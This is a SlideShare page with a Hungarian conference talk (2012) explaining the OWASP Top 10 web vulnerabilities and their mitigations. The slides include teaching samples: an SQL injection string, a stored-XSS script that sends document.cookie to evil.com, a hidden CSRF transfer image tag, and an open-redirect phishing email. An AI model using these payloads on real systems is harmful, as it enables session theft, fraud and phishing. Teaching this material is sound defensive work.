OWASP TOP10Azaz a 10 legkritikusabb hiba web-alkalmazásokban                             2012. November 28.
Bemutatkozás• Prém Dániel Tanszéki mérnök az Óbudai Egyetemen. Az iSec Newton Security csoport egyik vezetője. prem.daniel...
A TOP10 bemutatásaA projekt célja, hogy összegyűjtse egy dokumentumba a webesalkalmazásokat érintő tíz legjelentősebb sérü...
A TOP10 felhasználói•   U.S. Defense Information Systems Agency•   U.S. Federal Trade Commission•   Payment Card Industry ...
A TOP10-es lista áttekintésehttps://www.owasp.org/index.php/Top_10
A1: Injection• A befecskendezés lényege, hogy adatokat vagy  utasításokat juttatunk be az alkalmazáson keresztül a  paranc...
A1: Injection                                             1. Hacker Hanry betölti az oldalt                               ...
A1: Injection• Javaslatok:   – Alkalmazzunk megfelelő bemeneti paraméter     ellenőrzést (pl.: típus, hossz, érték, stb…) ...
A2: Cross-Site Scripting (XSS)• A támadás a felhasználók böngészőjében hajtódik végre• Lehet tárolt, tükrözött és DOM alap...
A2: Cross-Site Scripting (XSS)Tárolt XSS                                     1. Hacker Hanry betölti az oldalt            ...
A2: Cross-Site Scripting (XSS)• Javaslatok:  – Ne használjuk fel (és ne jelenítsük meg) közvetlenül a    felhasználók álta...
A3: Broken Authentication and                                                 Session Management• Az alkalmazások a felhas...
A3: Broken Authentication and                                      Session Management                                     ...
A3: Broken Authentication and                                    Session Management• Javaslatok:  – A beléptetés legyen eg...
A4: Insecure Direct Object                                        References• Akkor fordul elő, amikor egy hivatkozást hel...
A4: Insecure Direct Object                                               Referenceshttps://onlinebank.com/overview? acc=40...
A4: Insecure Direct Object                                                 References• Javaslatok:   – Kerüljük a Path Tra...
A5: Cross-Site Request Forgery                                              (CSRF)• Ebben a támadásban a támadó ráveszi az...
A5: Cross-Site Request Forgery                                                 (CSRF)                                     ...
A5: Cross-Site Request Forgery                                                 (CSRF)• Javaslatok:   – Használjunk token r...
A6: Security Misconfiguration• Az igazi biztonság megköveteli, hogy a teljes rendszer naprakész és  jól konfigurált legyen...
A6: Security Misconfiguration
A6: Security Misconfiguration• Javaslatok:   – Ellenőrizni kell a beállításokat minden szinten   – Javasolt a Hardening Gu...
A7: Insecure Cryptographic                                                 Storage• Elmulasztjuk meghatározni az érzékeny ...
A7: Insecure Cryptographic         Storage        1. Az áldozat megadja a           bankkártya adatait az           alkalm...
A7: Insecure Cryptographic                                                 Storage• Javaslatok:   – Azonosítsuk az érzéken...
A8: Failure to Restrict URL                                                    Access• Ez a téma kapcsolatban áll a jogosu...
A8: Failure to Restrict URL                                                    Accesshttps://onlinebank.com/ admin /overvi...
A8: Failure to Restrict URL                                                            Access• Javaslatok:   – Minden olda...
A9: Insufficient Transport Layer                                               Protection• Az alkalmazások gyakran nem hit...
A9: Insufficient Transport Layer           Protection           1. A külső támadó könnyedén              lehallgathatja a ...
A9: Insufficient Transport Layer                                                 Protection• Javaslatok:   –   Alkalmazzun...
A10: Avoiding Unvalidated                                         Redirects and Forwards• A webes alkalmazások gyakran áti...
A10: Avoiding Unvalidated                                                            Redirects and Forwards               ...
A10: Avoiding Unvalidated                                          Redirects and Forwards• Javaslatok:   – Minimalizáljuk ...
Hogyan lehet megoldani ezeket                                         a problémákat?• Fejlesszünk biztonságos kódot   – OW...
KÖSZÖNÖM A FIGYELMET
Upcoming SlideShare
Loading in …5
×

OWASP TOP10

618 views

Published on

Az előadás 2012. november 28.-án az OWASP Day Hungary konferencián hangzott el. Célja a web-alkalmazásokat érintő 10 legjelentősebb sérülékenység bemutatása.

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
618
On SlideShare
0
From Embeds
0
Number of Embeds
4
Actions
Shares
0
Downloads
7
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

OWASP TOP10

  1. 1. OWASP TOP10Azaz a 10 legkritikusabb hiba web-alkalmazásokban 2012. November 28.
  2. 2. Bemutatkozás• Prém Dániel Tanszéki mérnök az Óbudai Egyetemen. Az iSec Newton Security csoport egyik vezetője. prem.daniel@nik.uni-obuda.hu
  3. 3. A TOP10 bemutatásaA projekt célja, hogy összegyűjtse egy dokumentumba a webesalkalmazásokat érintő tíz legjelentősebb sérülékenységi fajtát ésezáltal segítséget nyújtson a szervezeteknek, hogy biztonságosabbprogramkódot készíthessenek.Az első lista 2003-ban látott napvilágot, majd frissítették 2004-ben, akövetkező kiadás 2007-ben debütált és a jelenlegi utolsó verzió2010. április 19.-én került a nyilvánosság elé.A dokumentum eredeti nyelve angol, de lefordítottákfrancia, német, olasz, spanyol, kínai, japán, koreai, indonéz, vietnámiés héber nyelvre!
  4. 4. A TOP10 felhasználói• U.S. Defense Information Systems Agency• U.S. Federal Trade Commission• Payment Card Industry (PCI)• British Telecom• Citibank• HP• IBM Global Services• Symantec• És még sokan mások…
  5. 5. A TOP10-es lista áttekintésehttps://www.owasp.org/index.php/Top_10
  6. 6. A1: Injection• A befecskendezés lényege, hogy adatokat vagy utasításokat juttatunk be az alkalmazáson keresztül a parancsértelmezőnek• SQL, LDAP, XPath, OS Shell, kódbefecskendezés, stb…• Sajnos a mai napig igen elterjedt (főleg az SQL Injection) azonban elég egyszerűen elkerülhető lenne megfelelő odafigyeléssel• Az elmúlt években olyan szervezetek estek áldozatul ennek a támadási formának mint a Sony, LinkedIn, eHarmony és a Yahoo
  7. 7. A1: Injection 1. Hacker Hanry betölti az oldalt 2. Majd a támadást az űrlapba beírja és beküldi a szerverre 3. Az alkalmazás felépíti az SQL lekérdezést és továbbítja az adatbázis felé 4. Az adatbázis lefuttatja a módosított lekérdezést és az adatokat visszaküldi az alkalmazásnak 5. Az alkalmazás kiadja azSELECT * FROM `users`user #1: Kiss Béla, kiss.bela@email.hu, … adatokat, jóváhagyja auser #2: Nagy Nóra,= OR 1=1 -- …WHERE `name` nora.nagy@webcim.hu, hozzáférést, lefuttatja azAND `pass` = ;… utasításokat…user #n: Tóth Péter, pepe@webmail.hu, …
  8. 8. A1: Injection• Javaslatok: – Alkalmazzunk megfelelő bemeneti paraméter ellenőrzést (pl.: típus, hossz, érték, stb…) – Ahol csak tehetjük, alkalmazzunk White List alapú ellenőrzést a bemenő adatokon – Használjunk jól bevált technikákat, mint a Prepared Statements vagy Stored Procedures – A kiosztott adatbázis jogosultságot minimalizáljuk• Bővebben: http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
  9. 9. A2: Cross-Site Scripting (XSS)• A támadás a felhasználók böngészőjében hajtódik végre• Lehet tárolt, tükrözött és DOM alapú• Szinte biztosan található minden web-alkalmazásban XSS sérülékenység…• Tipikusan a felhasználói munkamenet vagy érzékeny/személyes adatok megszerzésére használatos. De előfordul, hogy segítségével módosítják a weboldal tartamát, esetleg a látogatót átirányítják egy adathalász oldalra• Az elmúlt időszakban olyan honlapokban találtak XSS hibákat, mint az iwiw.hu, ebay.com, cnn.com, adobe.com, amazon.com, microsoft.com, myspace.com
  10. 10. A2: Cross-Site Scripting (XSS)Tárolt XSS 1. Hacker Hanry betölti az oldalt és az ártó kódját beküldi az alkalmazásnak 2. Alice betölti az alkalmazást a tárolt kóddal együtt 3. Alice böngészője lefuttatja a kódot és kiszolgáltatja az adatokat vagy módosítja a honlap szerkezét mivel a teljes DOM elérhető<script> 4. Hacker Hanry letölti a document.write( szerverről milyen adatokat ”<img src=’http://evil.com?q=” gyűjtött össze… + document.cookie + ”’ alt=’’ />” );</script>
  11. 11. A2: Cross-Site Scripting (XSS)• Javaslatok: – Ne használjuk fel (és ne jelenítsük meg) közvetlenül a felhasználók által bevitt adatokat – Alkalmazzunk kimeneti kódolást (pl.: HTML entitások) minden felhasználói adatra – Ha bejövő HTML adatot kell kezelni, akkor pedig minden esetben meg kell tisztítani az adatokat http://www.owasp.org/index.php/AntiSamy• Bővebben: https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting) _Prevention_Cheat_Sheet
  12. 12. A3: Broken Authentication and Session Management• Az alkalmazások a felhasználók hitelesítését és munkamenet kezelését gyakran nem megfelelően hajtják végre, így lehetővé teszik a támadóknak, hogy megszerezzék esetleg kitalálják a jelszavakat és munkamenet azonosítókat, vagy egyéb végrehajtási hibákat kihasználva megszemélyesítsenek egy felhasználót. – A bejelentkezést sok esetben titkosított csatornán (SSL) lehet elvégezni, azonban ez sokszor nem kényszerített, tehát lehallgatható – Másik alapvető hiba, hogy munkamenet azonosító védelméről is megfeledkezünk. Tudni kell, hogy kinek adtuk oda, meddig érvényes, stb… – Egy hacker szemszögéből szinte lényegtelen, hogy a felhasználónév és jelszó párost szerzi meg vagy a munkamenet azonosítót, hiszen mind a kettő segítségével meg tudja személyesíteni az áldozatot – Természetesen ide tartozik még a gyenge jelszó kezelés, azaz nincs minimális hossz, vagy nincs megkövetelve a jelszó komplexitás – Valamint a nem kellő körültekintéssel megtervezett jelszó emlékeztető
  13. 13. A3: Broken Authentication and Session Management Lehallgatás: 1. Hacker Hanry monitorozza awww.site.com?JSESSION=93C6A... hálózati forgalmat 2. Alice bejelentkezik az alkalmazásba 3. Hacker Hanry megszerezte Alice belépési adatait Munkamenet eltérítés: 1. Alice munkamenetét az oldal URL-ben adja vissza 2. Alice kattint egy linkre, amit egy bejegyzésben talált (pl.: http://www.evil.com) 3. Hacker Hanry letölti a napló referer tartalmát 3. Hacker Hanry megszemélyesíti Alicet a munkament birtokában
  14. 14. A3: Broken Authentication and Session Management• Javaslatok: – A beléptetés legyen egyszerű, centralizált és standardizált – Ügyeljünk arra, hogy a belépési adatokat és a munkamenet azonosítót mindig SSL csatornával védjük – Felejtsük el az automatizált sérülékenység vizsgálati eszközöket – Ellenőrizzük az SSL tanúsítvány hitelességét és érvényességét – Bizonyosodjunk meg arról, hogy a kilépés biztosan megszünteti a munkamenetet és a benne tárolt adatokat• Bővebben: https://www.owasp.org/index.php/Authentication_Cheat_Sheet https://www.owasp.org/index.php/Session_Management_Cheat_Sheet
  15. 15. A4: Insecure Direct Object References• Akkor fordul elő, amikor egy hivatkozást helyezünk el egy állományra, oldalra, könyvtárra vagy bármilyen objektumra, anélkül, hogy bármilyen hozzáférés vezérlést alkalmaznánk• Ez a téma érinti a jogosultság kezelést és az A8-as URL hozzáférés korlátozásának hiányának fejezetét• Gyakori hiba, hogy csak azokat a tartalmakat listázzuk, amelyhez a felhasználónak joga van. Azonban a szerver oldalon amikor a konkrét kérés végrehajtódik ezt már nem ellenőrizzük újra. Így a támadó bármikor átírja az objektum hivatkozást és olyan tartalomhoz is hozzáférhet, amelyhez normál esetben nem lenne szabad
  16. 16. A4: Insecure Direct Object Referenceshttps://onlinebank.com/overview? acc=4057 acc=4056 1. A felhasználó betölti a bank online felületét 2. Hacker Hanry észreveszi, hogy a saját azonosítója a 4057 3. Majd módosítja a paramétert 4. Végül Hacker Hanry megszerzi áldozata számlaösszesítőjén található információkat
  17. 17. A4: Insecure Direct Object References• Javaslatok: – Kerüljük a Path Traversal, Local File Inclusion lehetőségét – A közvetlen linkelés helyett alkalmazzunk valamilyen leképzési technikát: http://webapp.com/get?file=SecretReport.pdf http://webapp.com/get?file=C5LDJ28S832K – Ellenőrizzük, hogy a paraméter megfelelő formátumú-e – Minden esetben ellenőrizzük, hogy a felhasználó jogosult-e a tartalom elérésre – Ügyeljünk arra is, hogy csak a megfelelő műveletet végezhesse el az adott objektummal a felhasználó (pl.: olvasás, írás, törlés)• Bővebben: https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
  18. 18. A5: Cross-Site Request Forgery (CSRF)• Ebben a támadásban a támadó ráveszi az áldozat böngészőjét, hogy egy kérést intézzen a sérülékeny alkalmazás felé• Ez a módszer azért sikeres, mert a böngésző minden kéréshez elküldi az azonosítási adatokat is, mint pl.: Authentication Header, Session ID, IP cím, Windows domain creditentials, stb…• Továbbá az is hozzájárul, hogy az áldozat nem lép ki az alkalmazásból• Az előző két pont hatásaként a támadó olyan kéréseket indíthat a sérülékeny alkalmazás felé, amit az legitim forgalomnak fog értékelni• Tipikusan arra használják, hogy átutalásokat kezdeményezzenek, esetleg zároljanak egy fiókot, vagy bizalmas adatokhoz férjenek hozzá
  19. 19. A5: Cross-Site Request Forgery (CSRF) 1. Hacker Hanry elhelyezi az ártalmas kódot egy honlapon, amit az áldozati is látogat 2. Alice meglátogatja a sérülékeny alkalmazást, viszont nem 3. jelentkezik ki Alice Kicsivel később meglátogatja azt az oldalt, ahová Hacker Hanry beszúrta az ártalmas kódját 4. Alice böngészője értelmezi a kódot, majd egy legitimnek tűnő kérést intéz a sérülékeny alkalmazáshoz Alice nevében, amit valójában Hacker Hanry<img src=”http://mybank.com/transfer? kezdeményezett…amount=1500&dstAcc=4057” width=”0” height=”0” />
  20. 20. A5: Cross-Site Request Forgery (CSRF)• Javaslatok: – Használjunk token rendszert, ahol érzékeny adatok feldolgozása történik, ezáltal ellehetetlenítve a támadót, hogy kérést hamisítson – A tokennek kriptográfiai erősségűnek vagy randomnak kell lennie – Kerüljük a token URL-be helyezését, mert a referer mezővel kiolvasható – Űrlapok esetében a rejtett mező erősen javasolt – Minden egyes kérésnek egyedi tokenje legyen, lehetőleg lejárati idővel – Használjunk másodlagos (kétfaktoros) authentikációt az érzékeny műveletekhez• Bővebben: https://www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet
  21. 21. A6: Security Misconfiguration• Az igazi biztonság megköveteli, hogy a teljes rendszer naprakész és jól konfigurált legyen az operációs rendszertől a web és adatbázis szerveren át a teljes alkalmazásig• Mindezeket a beállításokat meg kell határozni, végre kell hajtani majd folyamatosan karbantartani és ellenőrizni• Fontos azt is tudni, hogy a gyártók a termékeket alapból nem a biztonságos konfigurációval látják el, hiszen akkor a használatba vétel igen nehézkes lenne. Emiatt azt későbbi beállításokkal kell megteremteni• Nem szabad megfeledkezni hogy nem csak az OS-t és az alkalmazásokat kell ellenőrizni, hanem minden osztálykönyvtárat és külső modult is amelyet az alkalmazás használ
  22. 22. A6: Security Misconfiguration
  23. 23. A6: Security Misconfiguration• Javaslatok: – Ellenőrizni kell a beállításokat minden szinten – Javasolt a Hardening Guide-ok alkalmazása – Az automatizálás ezen a ponton NAGYON HASZNOS lehet – Tartsuk napra késszen a rendszereket a javításokkal, nem csak az operációs rendszer és az alkalmazásokat, hanem minden osztálykönyvtárra fordítsunk kellő figyelmet – Elemezzük a változások biztonsági hatását• Bővebben: https://www.owasp.org/index.php/Configuration https://www.owasp.org/index.php/Testing_for_configuration_management
  24. 24. A7: Insecure Cryptographic Storage• Elmulasztjuk meghatározni az érzékeny adatokat így általában nem a kellő körültekintéssel kezeljük őket• Valamint nem figyelünk eléggé, hogy minden előfordulási helyen megfelelően kezeljük azokat• Ebbe a részbe beletartozik: – a gyenge titkosítás, ami miatt visszafejthető az adat – a titkosítási kulcs nem megfelelő kezelése (pl.: a szalagos meghajtóra került adatokat titkosítjuk, majd a kulcs ugyan arra a szalagra kerül) – a hibásan implementált jelszó kivonatok, hiszen egy sózás nélküli hash akár néhány óra alatt visszafejthető lehet – a napló állományokba bekerült ellenőrizetlen adatok (pl.: a webszerver naplójába letároljuk a felhasználói jelszavakat)
  25. 25. A7: Insecure Cryptographic Storage 1. Az áldozat megadja a bankkártya adatait az alkalmazásnak 2. A hibanaplózó lementi a kérés adatait a napló állományba, mivel a Fizetési Átjáró nem elérhető 3. Minden IT dolgozó számára elérhetőek a napló állományok a hibakeresés céljából 4. Egy belső munkatárs máris meglovasítja a naplóban található 4 millió kártya számot…
  26. 26. A7: Insecure Cryptographic Storage• Javaslatok: – Azonosítsuk az érzékeny adatokat – Azonosítsuk a helyeket ahova az érzékeny adatok kerülhetnek – Védjük az adatokat és folyamatokat megfelelő titkosítással vagy kivonatolással – Használjunk standard és bizonyított eljárásokat ne találjunk ki sajátot, mert az nem bizonyított – A kulcsok kezelése legyen megoldva és kellő körültekintéssel kezelve – Készüljünk fel kulcsserére• Bővebben: https://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage https://www.owasp.org/index.php/Guide_to_Cryptography https://www.owasp.org/index.php/Codereview-Cryptography
  27. 27. A8: Failure to Restrict URL Access• Ez a téma kapcsolatban áll a jogosultság kezeléssel és az A4-es fejezettel, ami a nem biztonságos közvetlen objektum hozzáférés címet viselte• Ez a fejezet viszont kifejezetten az alkalmazás oldalaira tér ki az URL manipulálásával• Az alapvető probléma, hogy a jogosultságokat a linkrendszerbe építik bele és csak azokat a linkeket vagy menüket jelenítik meg a felhasználó számára amihez joga van, azonban ha kézzel átírja a hivatkozásokat és a szerver oldalon nem történik meg az újraellenőrzés, hogy ténylegesen jogosult-e a tartalom megtekintésére vagy módosítására…
  28. 28. A8: Failure to Restrict URL Accesshttps://onlinebank.com/ admin /overview user 1. A felhasználó betölti a bank online felületét 2. Hacker Hanry észreveszi, hogy felhasználó szerepkörben van 3. Majd módosítja a paramétert, ezáltal a szerepkörét 4. Végül Hacker Hanry magasabb jogkörre tesz szert, mint alapból járna neki, így több információhoz jut hozzá
  29. 29. A8: Failure to Restrict URL Access• Javaslatok: – Minden oldalnak 3 dologra van szüksége: • Ellenőrizze, hogy a felhasználó belépett-e (ha nem publikus a tartalom) • Végre kell hajtani a felhasználói vagy a szerepkör alapú jogosultságkezelést • Teljesen le kell tiltani a lehetőségét a jogosulatlan kérelmeknek, amelyek konfigurációs állományokra, napló fájlokra vagy forrás állományokra irányulnak – Alkalmazzunk White List féle megközelítést – Az automatizált eszközök itt is sokszor gyengének bizonyulnak• Bővebben: https://www.owasp.org/index.php/Guide_to_Authorization https://www.owasp.org/index.php/Testing_for_Path_Traversal https://www.owasp.org/index.php/Forced_browsing
  30. 30. A9: Insufficient Transport Layer Protection• Az alkalmazások gyakran nem hitelesítik vagy titkosítják az érzékeny adatokat a hálózati forgalomban, ezáltal sérül a bizalmasság és a sértetlenség• Ha mégis, akkor előfordul, hogy gyenge algoritmusokat, érvénytelen tanúsítványokat használnak, esetleg nem megfelelően kezelik őket• A támadó emiatt könnyűszerrel hozzáférhet olyan privát adatokhoz, mint az infrastruktúra elemei, operációs rendszer adatok, felhasználói azonosítók, bankkártya adatok, egészségügyi információk, pénzügyi adatok, stb…• A megszerzett adatokat későbbi támadáshoz felhasználhatja, de akár a feketepiacon is eladhatja
  31. 31. A9: Insufficient Transport Layer Protection 1. A külső támadó könnyedén lehallgathatja a hálózati forgalmat és megszerezheti a belépési adatokat 2. Sok esetben csak a web szerver és a kliens közötti kapcsolat titkosított, ekkor minden gond nélkül egy belső támadó lehallgathatja az alkalmazás és a backend közötti forgalmat
  32. 32. A9: Insufficient Transport Layer Protection• Javaslatok: – Alkalmazzunk TLS kapcsolatot mindenhol, ahol érzékeny adat közlekedik – Egyenként minden üzenetet titkosítsunk – Digitálisan írjuk alá az üzeneteket – Standard algoritmusokat használjunk – Megfelelően tároljuk a kulcsokat és a tanúsítványokat – Ellenőrizzük az SSL tanúsítványokat mielőtt használjuk• Bővebben: https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet https://www.owasp.org/index.php/Testing_for_SSL-TLS
  33. 33. A10: Avoiding Unvalidated Redirects and Forwards• A webes alkalmazások gyakran átirányítják (Redirect) vagy továbbítják (Forward/Transfer) egy másik lapra a felhasználókat• Megfelelő ellenőrzés nélkül a támadó ezt kihasználhatja és átirányíthatja a felhasználót egy adathalász oldalra• De akár egy továbbítás segítségével jogosulatlan tartalomhoz is hozzáférhet a támadó, hiszen kikerülheti a hozzáférés vezérlés mechanizmusát
  34. 34. A10: Avoiding Unvalidated Redirects and Forwards 1. Hacker Hanry levelet küld az Alice céges E-mail címére 2. Alice kattint a linkre, mivel megbízik benne, hiszen jó domain névre mutat 3. Az alkalmazás nem ellenőrzi a redirect paramétert tehát szól Alice böngészőjének, hogy átirányítja a következő lapra, ami jelen esetben egy adathalász oldalFrom: noreply@nav.hu 4. Alice böngészője betölti azhttp://nav.gov.hu/ado?ev=2012To: alice@cegem.hu adathalász oldalt&...&redirect=www.adathalasz.huSubject: Nem várt adó visszatérítés 5. Alice megbízik az adathalász oldalban, hiszen az előbbA nyilvántartásunk szerint Önnek lehetősége van adó visszatérítést ellenőrizte az címet ésigényelnie! A folyamat elkezdéséhez kérjük kattintson ide. kinézete is megegyezik az eredetivel
  35. 35. A10: Avoiding Unvalidated Redirects and Forwards• Javaslatok: – Minimalizáljuk az átirányítások számát az alkalmazásban – Ha alkalmazzuk, akkor kerüljük a felhasználói paraméterben megadható átirányításokat – Ha elkerülhetetlen a paraméteres átirányítás akkor mindig ellenőrizzük, hogy a felhasználó jogosult-e az átirányított oldalt elérni – Külső átirányítás esetén ellenőrizzük, hogy a cél szerepel-e a fehérlistán• Bővebben: https://www.owasp.org/index.php/Open_redirect
  36. 36. Hogyan lehet megoldani ezeket a problémákat?• Fejlesszünk biztonságos kódot – OWASP’s Guide to Building Secure Web Applications http://www.owasp.org/index.php/Guide – OWASP’s Application Security Verification Standard http://www.owasp.org/index.php/ASVS – OWASP’s Enterprise Security API http://www.owasp.org/index.php/ESAPI• Ellenőrizzük az alkalmazást – Legyen egy szakértői csoport aki átnézi az alkalmazást – OWASPs Code Review Guide http://www.owasp.org/index.php/Code_Review_Guide – OWASPs Testing Guide http://www.owasp.org/index.php/Testing_Guide
  37. 37. KÖSZÖNÖM A FIGYELMET

×